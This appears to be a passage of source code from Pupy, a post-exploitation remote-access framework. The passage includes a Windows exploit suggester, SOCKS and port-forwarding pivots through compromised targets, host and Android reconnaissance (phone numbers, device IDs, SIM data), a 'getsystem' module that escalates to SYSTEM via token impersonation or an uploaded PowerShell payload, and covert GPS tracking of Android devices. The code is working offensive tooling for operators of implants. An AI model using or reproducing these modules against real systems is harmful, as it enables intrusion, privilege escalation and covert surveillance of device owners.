        else:
            self.success('Done')

        result = ''.join(result)

        if not result:
            self.error('No data')
            return

        if self.client.is_linux():
            self.log(result)
            return

        wes = imp.load_source('wes', WES_PATH)

        try:
            cves, date = wes.load_definitions(definitions)
        except BadZipfile:
            self.error(
                'Defintions were downloaded incorrectly ({})'.format(
                    definitions))
            return

        productfilter, win, mybuild, version, arch, hotfixes = \
          wes.determine_product(result)

        self.log(
            List([
                'Definitions: ' + str(date),
                'Name: ' + productfilter,
                'Generation: ' + (win or 'N/A'),
                'Build: ' + (str(mybuild) if mybuild else 'N/A'),
                'Version: ' + (str(version) or 'N/A'),
                'Architecture: ' + arch,
                'Hotfixes: ' + ', '.join([
                    'KB%s' % kb for kb in hotfixes
                ])
            ], caption='Operating System')
        )

        try:
            filtered, found = wes.determine_missing_patches(
                productfilter, cves, hotfixes)
        except wes.WesException as e:
            self.error(e.msg)
            return

        if not args.no_recent_kb:
            recentkb = wes.get_most_recent_kb(found)
            if recentkb:
                recentdate = int(recentkb['DatePosted'])
                found = list(filter(lambda kb: int(kb['DatePosted']) >= recentdate, found))

        if 'Windows Server' in productfilter:
            self.info('Filtering duplicate vulnerabilities')
            found = wes.filter_duplicates(found)

        filtered = wes.apply_display_filters(found, args.hide, True, [], [])
        if not filtered:
            self.info('No vulnerabilities found')
            return

        results = {}
        proposed = set()

        for res in filtered:
            exploits = res['Exploits'].split(',')
            for exploit in exploits:
                exploit = exploit.strip()
                if exploit in proposed:
                    continue

                proposed.add(exploit)

                impact = ''.join(part[0] for part in res['Impact'].split())
                color = 'white'
                if impact == 'ID':
                    color = 'grey'
                elif res['Severity'] == 'Critical' or impact in ('RCE', 'EoP'):
                    color = 'lightred'
                elif res['Severity'] == 'Important':
                    color = 'lightyellow'

                title = (res['AffectedComponent'] + ' / ' + res['AffectedProduct']) \
                  if res['AffectedComponent'] else res['AffectedProduct']

                if title not in results:
                    results[title] = []

                results[title].append({
                    'CVE': Color(res['CVE'], color),
                    'Date': res['DatePosted'],
                    'Impact': impact,
                    'Exploit': exploit
                })

        tables = [NewLine()]
        for component in results:
            cves = results[component]
            tables.append(
                Table(cves, ['CVE', 'Date', 'Impact', 'Exploit'], component))

        self.log(MultiPart(tables))

    def interrupt(self):
        if not self.terminated and self.terminate_pipe:
            self.terminated = True
            self.error('Stopping command')
            self.terminate_pipe()
            self.error('Stopped')


================================================
FILE: pupy/modules/forward.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import traceback

from pupy.pupylib import getLogger

from pupy.pupylib.PupyModule import (
    PupyModule, config, PupyArgumentParser
)

import pyuvproxy

__class_name__ = 'Forward'

logger = getLogger('mod_forward')

@config(cat='network', tags=['forward', 'pivot'])
class Forward(PupyModule):
    ''' Local/remote port forwarding and SOCKS proxy '''
    dependencies = {
        'all': ['pyuv', 'pyuvproxy'],
    }

    is_module = False

    @classmethod
    def init_argparse(cls):
        example = """Examples:
>> run forward -L 1234
Open a Socks proxy on local port 1234. Connection output from the target.
>> run forward -CL 1234
Close the local Socks proxy opened on 1234
>> run forward -R 1234
Open a Socks proxy on target (127.0.0.1:1234). Becareful with target's firewal configuration.
>> run forward -CR 1234
Stop the last proxy opened on the target
>> run forward -R 0.0.0.0:1234
Open a Socks proxy on target (0.0.0.0:1234). Need a Socks connection to target_ip:1234.
>> run forward -L 127.0.0.1:1234:192.168.0.2:8000
Local port forwarding. Listen locally on 1234 and connection establishes by the target to 192.168.0.2:8000.
        """

        parser = PupyArgumentParser(
            prog='forward', description=cls.__doc__, epilog=example
        )

        actions = parser.add_mutually_exclusive_group(required=True)
        actions.add_argument(
            '-CL', '--cancel-local',
            help='Cancel local forwarding (LPORT/LPATH)'
        )
        actions.add_argument(
            '-CR', '--cancel-remote',
            help='Cancel remote forwarding (RPORT/RPATH)'
        )

        actions.add_argument(
            '-l', '--list',
            default=False, action='store_true',
            help='List forwardings for current client'
        )

        actions.add_argument(
            '-L', '--local', help='Local port forwarding ([LHOST]:LPORT[:RHOST[:[BPORT=]RPORT]])'
            '; LPATH:RPATH'
        )

        actions.add_argument(
            '-R', '--remote', help='Remote port forwarding ([RHOST:]RPORT[:LHOST[:[BPORT=]LPORT]])'
            '; RPATH:LPATH'
        )

        actions.add_argument(
            '-VRL', '--virtual-remote-listener', help='Create virtual pupy listener',
            metavar=('PORT', 'TRANSPORT'), nargs=2
        )

        actions.add_argument(
            '-CVRL', '--cancel-virtual-remote-listener',
            metavar='PORT', help='Disable virtual pupy listener',
            type=int
        )

        cls.arg_parser = parser

    def run(self, args):
        try:
            state = self.client.conn.single(pyuvproxy.PairState)

            if args.list:
                self._list(state, args)
            else:
                self._portmap(state, args)

        except:
            traceback.print_exc()
            raise

    def _list(self, state, args):
        if not state.local:
            self.info('Forwarding was not enabled')
            return

        for port, forward in state.local.list(filter_by_local_id=state.local_id):
            self.success('L: {} -> {}'.format(port, forward))

        for port, forward in state.remote.list():
            self.success('R: {} -> {}'.format(port, forward))

    def _parse_args(self, args):
        config = None
        parts = None
        lport, lhost = None, None
        rport, rhost = None, None
        lpath, rpath = None, None
        bport = None

        if args.cancel_local or args.cancel_remote:
            config = args.cancel_local or args.cancel_remote
            try:
                lport = int(config)
                lhost = None
            except:
                lport = None
                lhost = config
        else:
            config = args.local or args.remote
            parts = config.split(':')
            lport, lhost = 1080, '127.0.0.1'
            rport, rhost = None, None
            lpath, rpath = None, None
            bport = None

            if len(parts) == 1:
                lport = int(parts[0])
            elif len(parts) == 2:
                part1, part2 = parts
                found = False
                try:
                    if '=' in part1:
                        bport, lport = part1.split('=')
                        bport = int(bport)
                        lport = int(lport)
                    else:
                        lport = int(part1)

                    try:
                        if '=' in part2:
                            bport, rport = part2.split('=')
                            bport = int(bport)
                            rport = int(rport)
                        else:
                            rport = int(part2)

                        rhost = '127.0.0.1'
                        found = True
                    except:
                        rhost = part2
                        rport = lport
                        found = True
                except:
                    try:
                        if '=' in part2:
                            bport, lport = part2.split('=')
                            bport = int(bport)
                            lport = int(lport)
                        else:
                            lport = int(part2)

                        lhost = part1
                        found = True
                    except:
                        pass

                if not found:
                    lpath, rpath = parts

            elif len(parts) == 3:
                try:
                    if '=' in parts[2]:
                        bport, rport = parts[2].split('=')
                        bport = int(bport)
                        rport = int(rport)
                    else:
                        rport = int(parts[2])

                    lport, rhost = parts[:2]

                    if '=' in lport:
                        bport, lport = lport.split('=')
                        bport = int(bport)
                        lport = int(lport)
                    else:
                        lport = int(lport)

                except:
                    lhost, lport, rhost = parts
                    if '=' in lport:
                        bport, lport = lport.split('=')
                        bport = int(bport)
                        lport = int(lport)
                    else:
                        lport = int(lport)

                    rport = lport

            elif len(parts) == 4:
                lhost, lport, rhost, rport = parts
                lport = int(lport)

                if '=' in rport:
                    bport, rport = rport.split('=')
                    bport = int(bport)
                    rport = int(rport)
                else:
                    rport = int(rport)

            else:
                raise ValueError(
                    'Invalid configuration: {}'.format(config))

        return config, parts, lport, lhost, rport, rhost, lpath, rpath, bport

    def _portmap(self, state, args):
        if len(self.job.pupymodules) > 1 and (args.local or args.cancel_local):
            raise ValueError(
                'Adding local forward for multiple modules is not supported')

        config, parts, lport, lhost, rport, rhost, lpath, rpath, bport = \
            None, None, None, None, None, None, None, None, None

        virt_port, virt_transport = None, None

        if args.virtual_remote_listener:
            virt_port = int(args.virtual_remote_listener[0])
            virt_transport = args.virtual_remote_listener[1]
        elif args.cancel_virtual_remote_listener:
            virt_port = int(args.cancel_virtual_remote_listener)
        else:
            config, parts, lport, lhost, rport, rhost, lpath, rpath, bport = self._parse_args(
                args)

        manager = self.client.pupsrv.single(pyuvproxy.ManagerState)
        rpyuvproxy = self.client.remote('pyuvproxy')

        if args.cancel_local or args.cancel_remote or args.cancel_virtual_remote_listener:
            local, remote, local_id, remote_id = state.get()

            if not local:
                self.info('Forwarding was not enabled')
                return

            if args.cancel_local:
                manager = local
            else:
                manager = remote

            try:
                if args.cancel_virtual_remote_listener:
                    local.unregister_virtual_port(virt_port)
                    remote.unbind(virt_port)
                else:
                    idx = lhost or lport
                    if manager.unbind(idx):
                        self.success('Forwarding {} removed'.format(idx))
                    else:
                        self.error(
                            'Removal failed: port {} not found'.format(idx))
            except Exception as e:
                self.error('Removal failed: {}'.format(e))

            return

        if not manager.manager:
            manager.manager = pyuvproxy.Manager()
            manager.manager.start()
            self.client.pupsrv.register_cleanup(manager.cleanup)

        if not state.local:
            state.local = manager.manager
            state.remote = rpyuvproxy.Manager()
            state.remote.start()
            state.remote_id, state.local_id = state.local.pair(
                state.remote)

            self.client.conn.register_local_cleanup(state.cleanup)
            self.client.conn.register_remote_cleanup(
                state.remote.force_stop
            )

        local, remote, local_id, remote_id = state.get()

        if args.local:
            manager = local
            id = local_id
        else:
            manager = remote
            id = remote_id

        try:
            if args.virtual_remote_listener:
                def _create_virtual_connection(peername):
                    try:
                        return self.client.pupsrv.create_virtual_connection(
                            virt_transport, '{}@{}'.format(
                                peername, self.client.node()))
                    except Exception as e:
                        logger.exception(e)
                        raise

                local.register_virtual_port(virt_port, _create_virtual_connection)
                remote.bind(id, local_address=('0.0.0.0', virt_port),
                            forward=('254.254.254.254', virt_port))

                self.success('Forwarding pupy port activated ({}: {})'.format(
                    virt_port, virt_transport))
                return

            if rport and rhost:
                forward = (rhost, rport)
            else:
                forward = None

            if lpath and rpath:
                manager.bind(id, local_address=lpath,
                             forward=rpath, bind=bport)
            else:
                manager.bind(id, local_address=(lhost, lport),
                             forward=forward, bind=bport)

            self.success('Forwarding added')

        except Exception as e:
            self.error('Forwarding failed: {}:{}'.format(type(e), e))


================================================
FILE: pupy/modules/get_hwuuid.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__ = "GetHwUuid"

@config(cat="gather")
class GetHwUuid(PupyModule):
    """ Try to get UUID (DMI) or machine-id (dbus/linux) """
    dependencies = {
        'windows': ['win32api', 'win32com', 'pythoncom', 'winerror'],
        'all': ['hwuuid']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='get_hwuuid',
            description=cls.__doc__
        )

    def run(self, args):
        get_hw_uuid = self.client.remote('hwuuid', 'get_hw_uuid')

        method, uuid = get_hw_uuid()
        self.success('{} ({})'.format(method, uuid))


================================================
FILE: pupy/modules/get_info.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Table

if sys.version_info.major > 2:
    unicode = str


__class_name__="GetInfo"

@config(cat="gather")
class GetInfo(PupyModule):
    """ get some informations about one or multiple clients """
    dependencies = {
        'windows': ['pupwinutils.security'],
        'android': ['pupydroid.utils']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='get_info',
            description=cls.__doc__
        )

    def run(self, args):
        commonKeys = [
            "hostname", "user", "release", "version", "cmdline",
            "os_arch", "proc_arch", "pid", "exec_path", "cid",
            "address", "macaddr", "spi", "revision", "node",
            "debug_logfile", "native", "proxy", "external_ip"
        ]
        pupyKeys = ["launcher", "launcher_args"]
        windKeys = ["uac_lvl","intgty_lvl"]
        linuxKeys = []
        macKeys = []

        infos = []

        for k in commonKeys:
            if k in self.client.desc:
                infos.append((k, self.client.desc[k]))

        if self.client.is_windows():
            for k in windKeys:
                infos.append((k, self.client.desc[k]))

            can_get_admin_access = self.client.remote(
                'pupwinutils.security', 'can_get_admin_access', False)

            currentUserIsLocalAdmin = can_get_admin_access()

            value = '?'
            if currentUserIsLocalAdmin:
                value = 'Yes'
            elif not currentUserIsLocalAdmin:
                value = 'No'

            infos.append(('local_adm', value))

        elif self.client.is_linux():
            for k in linuxKeys:
                infos.append((k, self.client.desc[k]))

        elif self.client.is_darwin():
            for k in macKeys:
                infos.append((k, self.client.desc[k]))

        elif self.client.is_android():
            utils = self.client.remote('pupydroid.utils')

            wifiConnected = utils.isWiFiConnected()
            if wifiConnected:
                androidCtionType = {'info':"WiFi", 'fast':True}
            else:
                androidCtionType = utils.getMobileNetworkType()

            infos.append(('ction_type', "{0} (fast:{1})".format(androidCtionType['info'], androidCtionType['fast'])))
            androidID = utils.getAndroidID()
            infos.append(("android_id",androidID))
            wifiEnabled = utils.isWiFiEnabled()
            infos.append(("wifi_enabled",wifiConnected or wifiEnabled))
            infoBuild = utils.getInfoBuild()
            infos.append(("device_name",infoBuild['deviceName']))
            infos.append(("manufacturer",infoBuild['manufacturer']))
            infos.append(("model",infoBuild['model']))
            infos.append(("product",infoBuild['product']))
            infos.append(("bootloader_version",infoBuild['bootloaderVersion']))
            infos.append(("radio_version",infoBuild['radioVersion']))
            infos.append(("release",infoBuild['release']))
            battery = utils.getBatteryStats()
            infos.append(("battery_%",battery['percentage']))
            infos.append(("is_charging",battery['isCharging']))
            simState = utils.getSimState()
            infos.append(("sim_state",simState))
            deviceId = utils.getDeviceId()
            infos.append(("device_id",deviceId))
            #Needs API level 23. When this API will be used, these 2 following line should be uncommented
            try:
                simInfo = utils.getSimInfo()
                infos.append(("sim_count",simInfo))
            except:
                pass

            if ("absent" not in simState) and ("unknown" not in simState):
                phoneNb = utils.getPhoneNumber()
                infos.append(("phone_nb",phoneNb))
                simCountryIso = utils.getSimCountryIso()
                infos.append(("sim_country",simCountryIso))
                networkCountryIso = utils.getNetworkCountryIso()
                infos.append(("network_country",networkCountryIso))
                networkOperatorName = utils.getNetworkOperatorName()
                infos.append(("network_operator",networkOperatorName))
                isNetworkRoaming = utils.isNetworkRoaming()
                infos.append(("is_roaming",isNetworkRoaming))
            else:
                #Print N/A when not applicable. These following lines can be removed from info if needed
                infos.append(("phone_nb","N/A"))
                infos.append(("sim_country","N/A"))
                infos.append(("network_country","N/A"))
                infos.append(("network_operator","N/A"))
                infos.append(("device_id","N/A"))

        for k in pupyKeys:
            if k in self.client.desc:
                infos.append((k, self.client.desc[k]))

        infos.append(('platform', '{}/{}'.format(
            self.client.platform, self.client.arch or '?'
        )))

        #For remplacing None or "" value by "?"
        infoTemp = []
        for i, (key, value) in enumerate(infos):
            if value is None or value == "":
                value = "?"
            elif type(value) in (list, tuple):
                value = ' '.join([unicode(x) for x in value])
            elif key == 'cid':
                value = '{:016x}'.format(value)
            infoTemp.append((key, value))

        infos = infoTemp

        table = [{
            'KEY': k,
            'VALUE': v
        } for k,v in infoTemp]

        self.log(Table(table, ['KEY', 'VALUE'], legend=False))


================================================
FILE: pupy/modules/getdomain.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="GetDomain"

@config(compat="windows", cat="admin")
class GetDomain(PupyModule):
    """ Get primary domain controller """

    dependencies = ['pupwinutils.getdomain']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="getdomain", description=cls.__doc__)

    def run(self, args):
        get_domain_controller = self.client.remote('pupwinutils.getdomain', 'get_domain_controller')

        primary_domain = get_domain_controller()
        if not primary_domain:
            self.error("This host is not part of a domain.")
        else:
            self.success("Primary domain controller: %s" % primary_domain)


================================================
FILE: pupy/modules/getpid.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="PsModule"

@config(cat="admin")
class PsModule(PupyModule):
    """ list process information """
    is_module=False

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="getpid", description=cls.__doc__)

    def run(self, args):
        getpid = self.client.remote('os', 'getpid')
        pid = getpid()
        self.success('PID: {}'.format(pid))


================================================
FILE: pupy/modules/getppid.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="PsModule"

@config(cat="admin")
class PsModule(PupyModule):
    """ list parent process information """
    is_module=False

    dependencies = {
        'windows': ['pupwinutils.processes']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="getppid", description=cls.__doc__)

    def run(self, args):
        if self.client.is_windows():
            get_current_ppid = self.client.remote('pupwinutils.processes', 'get_current_ppid')
            outputlist = get_current_ppid()
            for out in outputlist:
                self.success('%s: %s' % (out, outputlist[out]))
            return # quit
        else:
            getppid = self.client.remote('os', 'getppid')
            self.success('PPID: {}'.format(getppid()))


================================================
FILE: pupy/modules/getprivs.py
================================================
# -*- coding: utf-8 -*-
# Author: @n1nj4sec
# Contributor(s): @bobsecq

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Table, Color

__class_name__ = "GetPrivsModule"


@config(compat=["windows"], cat="manage")
class GetPrivsModule(PupyModule):
    ''' Manage current process privileges '''

    dependencies = ['pupwinutils.security']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='getprivs', description=cls.__doc__)
        cls.arg_parser.add_argument(
            'privileges', nargs='*', default=None, metavar='privilege',
            help='Try to get specified privileges for the '
            'current process (SeDebugPrivilege for example)')

    def run(self, args):
        if args.privileges:
            enable_privilege = self.client.remote('pupwinutils.security', 'EnablePrivilege', False)
            for privilege in args.privileges:
                try:
                    enable_privilege(privilege)
                    self.success('{} enabled'.format(privilege))
                except Exception as e:
                    self.error('{} was not enabled: {}'.format(
                        privilege, e.args[1]))
        else:
            get_currents_privs = self.client.remote('pupwinutils.security', 'get_currents_privs', False)
            privs = get_currents_privs()

            content = []

            for (privilege, enabled) in privs:
                color = 'grey'
                if enabled:
                    color = 'green'

                content.append({
                    'Privilege': Color(privilege, color),
                    'Enabled': Color(enabled, color)
                })

            self.log(
                Table(content, ['Privilege', 'Enabled'], caption='Current priviliges')
            )


================================================
FILE: pupy/modules/getsystem.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.modules.lib.windows.migrate import migrate

from pupy.modules.lib.windows import powerloader

import os

__class_name__ = "GetSystem"


@config(compat="windows", category="privesc")
class GetSystem(PupyModule):

    """
    Try to get NT AUTHORITY SYSTEM privileges

    - Case 1: If the launcher on the target uses a reverse connection (e.g. connect or auto_proxy),
    this module will migrate on a created SYSTEM process ('impersonate' method) or
    it will create a new SYSTEM process thanks to a handle inheritance ('inheritance' method) aka 'parent method'.
    In this case, the created SYSTEM launcher will connect to your pupy contoller automatically.
    - Case 2: If the launcher on the target uses a bind connection, this module will enable the 'powershell' option by default.
    In this case, a payload will be uploaded and it will be executed as System on the target.
    This payload listens on your given port on the target. You have to connect to this launcher manually.
    """

    dependencies = ["pupwinutils.security", "pupwinutils.processes"]

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="getsystem", description=cls.__doc__)
        cls.arg_parser.add_argument(
            '-m', '--method', dest='method', choices=['impersonate', 'inheritance'],
            default=None, help='Method for gaining a new pupy session as SYSTEM',
            required=True,
        )
        cls.arg_parser.add_argument(
            '-x', dest='execute', default=None,
            help='Change the default process to create/inject into'
        )
        cls.arg_parser.add_argument(
            '-r', dest='restart', action='store_true', default=False,
            help='Relaunch current executable as system (dangerous)'
        )
        cls.arg_parser.add_argument(
            '-p', dest='powershell', action='store_true', default=False,
            help='Force to use a powershell payload'
        )
        cls.arg_parser.add_argument(
            '--ppid', dest='parentID', type=int, default=None,
            help="Force this ppid ('inheritance' method only)"
        )
        cls.arg_parser.add_argument(
            '-k', dest='keep', action='store_false', default=True,
            help="Close this current connection after migration ('impersonate' method only)"
        )

        cls.arg_parser.add_argument(
            '-t', dest='timeout', default=60, type=int,
            help="Wait n seconds a reverse connection during migration (default: %(default)s) "
            "('impersonate' method only)")

    def run(self, args):

        # Command to execute on the target
        cmdToExecute = None

        # The the local file which contains PS1 script (when powershell chosen or enabled automcatically)
        local_file = ''

        # True if ps1 script will be used in bind mode. If reverse connection with ps1 then False
        isBindLauncherForPs1 = False

        # Contains ip:port used for bind connection on the target with ps1 script.
        # None if reverse connection and (consequently) isBindLauncherForPs1==False

        listeningAddressPortForBindPs1 = None
        # Usefull information for bind mode connection (ps1 script)
        launcherType, addressPort = self.client.desc['launcher'], self.client.desc['address']

        completion = None

        # Case of a pupy bind shell if ps1 mode is used (no reverse connection possible)
        if launcherType == "bind":
            self.info('The current pupy launcher is using a BIND connection. It is listening on {0} on the target'.format(addressPort))
            isBindLauncherForPs1 = True
            self.info('Consequently, powershell option is enabled automatically')
            args.powershell = True
        else:
            self.info('The current pupy launcher is using a REVERSE connection (e.g. \'auto_proxy\' or \'connect\' launcher)')
            isBindLauncherForPs1 = False

        # A Powershell payload is used for getting a pupy session as SYSTEM
        if args.powershell:
            self.info('A powershell payload will be used for getting a pupy session as SYSTEM')
            clientConfToUse = None

            if isBindLauncherForPs1:
                self.info('Using powershell payload because the launcher on the target uses a bind connection. Launcher listens on {0}'.format(addressPort))
                self.info("Bind launcher used. So a BIND ps1 will be used in child launcher. This ps1 will listen on your given port")
                self.info("Be careful, you have to choose a port which is not used on the target!")
                listeningPort = -1
                while listeningPort==-1:
                    try:
                        listeningPort = int(input("[?] Give me the listening port to use on the target: "))
                    except Exception as e:
                        self.warning("You have to give me a valid port. Try again. ({})".format(e))
                listeningAddress = addressPort.split(':')[0]
                listeningAddressPortForBindPs1 = "{0}:{1}".format(listeningAddress, listeningPort)
                self.info("The ps1 script used for getting a pupy session as SYSTEM will be configured for listening on {0} on the target".format(listeningAddressPortForBindPs1))
                bindConf = self.client.get_conf()
                #Modify the listening port on the conf. If it is not modified, the ps1 script will listen on the same port as the inital pupy launcher on the target
                bindConf['launcher_args'][bindConf['launcher_args'].index("--port")+1] = str(listeningPort)
                clientConfToUse = bindConf
            else:
                self.info('Using powershell payload because you have chosen this option. The launcher on the target uses a reverse connection')
                clientConfToUse = self.client.get_conf()

            cmdToExecute, completion = powerloader.serve(self, clientConfToUse)

        # restart current exe as system
        if args.restart:
            self.info('Trying to configure for running the current executable on the target as SYSTEM')
            exe = self.client.desc['exec_path'].split('\\')
            if exe[len(exe)-1].lower() in ['powershell.exe', 'cmd.exe'] and exe[1].lower() == 'windows':
                self.warning('It seems that your current process is %s' % self.client.desc['exec_path'])
                self.warning('It is not recommended to restart it')
                return

            cmdToExecute = self.client.desc['exec_path']

        if args.method == 'inheritance':
            if not cmdToExecute:
                cmdToExecute = args.execute

            if cmdToExecute is None:
                self.error(
                    'Application to execute with SYSTEM privileges should '
                    'be specified with one of -x/-p/-r args')
                return

            try:
                enable_privilege = self.client.remote('pupwinutils.security', 'EnablePrivilege', False)
                enable_privilege('SeDebugPrivilege')
                self.success('{} enabled'.format('SeDebugPrivilege'))
            except Exception as e:
                self.error('{} was not enabled: {}'.format('SeDebugPrivilege', e.args[1]))

            create_new_process_from_ppid = self.client.remote(
                'pupwinutils.security', 'create_new_process_from_ppid', False)

            if args.parentID:
                self.info('Using the Parent Process method on the pid {0}...'.format(args.parentID))
                self.info('Command: {}'.format(cmdToExecute))

                pid = create_new_process_from_ppid(int(args.parentID), cmdToExecute)
                self.success('Created: pid={}, ppid={}'.format(pid, args.parentID))
                return

            else:
                self.info("Getting information about all processes running on the target")

                enum_processes = self.client.remote('pupwinutils.processes', 'enum_processes')
                get_integrity_level = self.client.remote('pupwinutils.security', 'get_integrity_level', False)

                self.info("Searching a process with a 'SYSTEM' integrity level")

                for aprocess in enum_processes():
                    integrityLevel = get_integrity_level(aprocess['pid'])

                    if not integrityLevel == 'System':
                        continue

                    self.info("{0} (pid {1}) has a 'SYSTEM' integrity level, trying to use it".format(
                        aprocess['name'], aprocess['pid']))

                    try:
                        pid = create_new_process_from_ppid(aprocess['pid'], cmdToExecute)
                        self.success('Created: pid={}, ppid={}'.format(pid, aprocess['pid']))
                        break

                    except Exception as e:
                        self.error('Failed: {}'.format(' '.join(x for x in e.args if type(x) is str)))

        elif args.method == 'impersonate':
            if cmdToExecute is None:
                cmdToExecute = args.execute or 'cmd.exe'

            getsystem = self.client.remote('pupwinutils.security', 'getsystem', False)
            proc_pid = getsystem(cmdToExecute)

            self.success('Impersonated, pid={}. Migrating..'.format(proc_pid))
            migrate(self, proc_pid, keep=args.keep, timeout=args.timeout)
            return

        if args.powershell:
            if completion and not completion.is_set():
                self.info('Waiting for PowerLoader completion')
                completion.wait()

            if isBindLauncherForPs1:
                self.success(
                    'You have to connect to the target manually on {0}: '
                    'try "connect --host {0}" in pupy shell'.format(listeningAddressPortForBindPs1))
            else:
                self.success('Waiting for a connection (take few seconds, 1 min max)...')

            if local_file:
                os.remove(local_file)


================================================
FILE: pupy/modules/getuid.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="getuid"

@config(cat="admin")
class getuid(PupyModule):
    """ get username """
    is_module=False
    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="getuid", description=cls.__doc__)

    def run(self, args):
        getuid = self.client.remote('pupyutils.basic_cmds', 'getuid')
        self.success(getuid())


================================================
FILE: pupy/modules/gpstracker.py
================================================
# -*- coding: utf-8 -*-
#Author: @bobsecq
#Contributor(s):

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from time import sleep

import os
import csv

from io import open

from pupy.network.lib.rpc.utils.classic import download
from pupy.pupylib.utils.common import getLocalAndroidPath

__class_name__="gpstracker"


KML_TEMPLATE = """<?xml version="1.0" encoding="UTF-8"?>
<kml xmlns="http://www.opengis.net/kml/2.2">
    <Document>
        <name>MY_DOCUMENT</name>
        <description>MY_DESCRIPTION</description>
        <Style id="Lump">
            <LineStyle>
                <color>CD0000FF</color>
                <width>2</width>
            </LineStyle>
            <PolyStyle>
                <color>9AFF0000</color>
            </PolyStyle>
        </Style>
        <Style id="Path">
            <LineStyle>
                <color>FF0000FF</color>
                <width>3</width>
            </LineStyle>
        </Style>
        <Style id="markerstyle">
            <IconStyle>
                <Icon>
                    <href>http://maps.google.com/intl/en_us/mapfiles/ms/micons/red-dot.png</href>
                </Icon>
            </IconStyle>
        </Style>
        MY_PLACEMARKS
    </Document>
</kml>
"""

KML_PLACEMARK = """<Placemark>
            <name>MY_NAME</name>
            <description>MY_DESCRIPTION</description>
            <styleUrl>#Path</styleUrl>
            <LineString>
                <tessellate>1</tessellate>
                <altitudeMode>clampToGround</altitudeMode>
                <coordinates>
                MY_COORDINATE_1
                MY_COORDINATE_2
                </coordinates>
            </LineString>
        </Placemark>
"""

def generateKML(deviceName, traces, outputFile):
    '''
    '''
    kmlPlacemarks, lastPlace = "", None
    kmlData = KML_TEMPLATE.replace('MY_DOCUMENT', deviceName)
    kmlData = kmlData.replace('MY_DESCRIPTION', deviceName)
    for aPlace in traces:
        if lastPlace is None:
            lastPlace = aPlace

        # logging.info("{0},{1} --> {2},{3}".format(lastPlace[1],lastPlace[2], aPlace[1], aPlace[2]))

        aKmlPlacemark = KML_PLACEMARK.replace("MY_NAME", lastPlace[0])
        aKmlPlacemark = aKmlPlacemark.replace("MY_DESCRIPTION", "{0},{1}".format(lastPlace[1], lastPlace[2]))
        aKmlPlacemark = aKmlPlacemark.replace("MY_COORDINATE_1", "{0},{1},0.0".format(lastPlace[2],lastPlace[1]))
        aKmlPlacemark = aKmlPlacemark.replace("MY_COORDINATE_2", "{0},{1},0.0".format(aPlace[2], aPlace[1]))
        kmlPlacemarks += aKmlPlacemark+"\n"
        lastPlace = aPlace

    kmlData = kmlData.replace("MY_PLACEMARKS", "\n"+kmlPlacemarks)

    f = open(outputFile, 'w')
    f.write(kmlData)
    f.close()

@config(cat="gather", compat=["android"])
class gpstracker(PupyModule):
    """ to interact with gps """

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='gpstracker', description=cls.__doc__)
        cls.arg_parser.add_argument('--start', action='store_true', help='start')
        cls.arg_parser.add_argument('--stop', action='store_true', help='stop')
        cls.arg_parser.add_argument('--status', action='store_true', help='status')
        cls.arg_parser.add_argument('--dump', action='store_true', help='dump')
        cls.arg_parser.add_argument('--clean', action='store_true', help='delete trace file stored on device')
        cls.arg_parser.add_argument('-m', '--in-memory', action='store_true', help='traces stored in memory on the device (and not in file)')
        cls.arg_parser.add_argument('-g', '--get-position', action='store_true', help='get current position')
        cls.arg_parser.add_argument('-e', '--is-GPS-enabled', action='store_true', help='is GPS enabled?')
        cls.arg_parser.add_argument('-n', '--is-network-rovider-enabled', action='store_true', help='is Network Provider enabled?')
        cls.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will store targtet's postions (default: %(default)s)")
        cls.arg_parser.add_argument("-p", '--period', type=int, default=15, help="delay between each gps position (default: %(default)s)")

    def run(self, args):
        self.client.load_package("pupydroid.gpsTracker")
        self.client.load_package("pupydroid.utils")
        androidID = self.client.conn.modules['pupydroid.utils'].getAndroidID()
        self.localFolder = getLocalAndroidPath(localFolder=args.localOutputFolder, androidID=androidID, userName=self.client.desc['user'])
